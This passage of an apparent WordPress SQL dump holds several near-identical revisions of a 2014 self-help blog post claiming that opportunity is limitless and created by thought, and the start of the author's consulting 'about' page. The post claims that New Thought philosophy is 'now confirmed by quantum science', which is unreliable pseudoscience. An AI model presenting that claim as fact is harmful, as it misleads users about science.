achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-13', '', '', '2014-06-24 17:11:02', '2014-06-25 00:11:02', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-13/', 0, 'revision', '', 0),
(2629, 2, '2014-06-24 17:17:55', '2014-06-25 00:17:55', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-autosave', '', '', '2014-06-24 17:17:55', '2014-06-25 00:17:55', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-autosave/', 0, 'revision', '', 0),
(2630, 2, '2014-06-24 17:14:23', '2014-06-25 00:14:23', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-14', '', '', '2014-06-24 17:14:23', '2014-06-25 00:14:23', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-14/', 0, 'revision', '', 0),
(2631, 2, '2014-06-24 17:16:14', '2014-06-25 00:16:14', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-15', '', '', '2014-06-24 17:16:14', '2014-06-25 00:16:14', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-15/', 0, 'revision', '', 0),
(2632, 2, '2014-06-24 17:17:50', '2014-06-25 00:17:50', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-16', '', '', '2014-06-24 17:17:50', '2014-06-25 00:17:50', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-16/', 0, 'revision', '', 0),
(2633, 2, '2014-06-24 17:18:24', '2014-06-25 00:18:24', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-17', '', '', '2014-06-24 17:18:24', '2014-06-25 00:18:24', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-17/', 0, 'revision', '', 0),
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(2635, 2, '2014-06-24 17:19:00', '2014-06-25 00:19:00', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-18', '', '', '2014-06-24 17:19:00', '2014-06-25 00:19:00', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-18/', 0, 'revision', '', 0),
(2636, 2, '2013-08-10 16:58:11', '2013-08-10 23:58:11', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals creating a better future with more impact, influence and income.\r\n</span></h2>\r\nI’m delighted you have found your way here. If you’re an entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place!\r\n\r\nMy purpose is to share with you everything I’ve learned about business and life success to help you get to your next level and experience the success you desire.\r\n\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers. Like you, I''m fully committed to bringing more value to the world.\r\n\r\nIn my professional career as a marketing and brand strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level.\r\n\r\nMy entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future. From my experience, the most important lesson I''ve learned in creating success in any endeavor– to have more, you must first be more. As you expand your capacity to serve others, you expand your value to others.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace by expanding your capacity to serve others and create more value!</h2>\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. If you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their 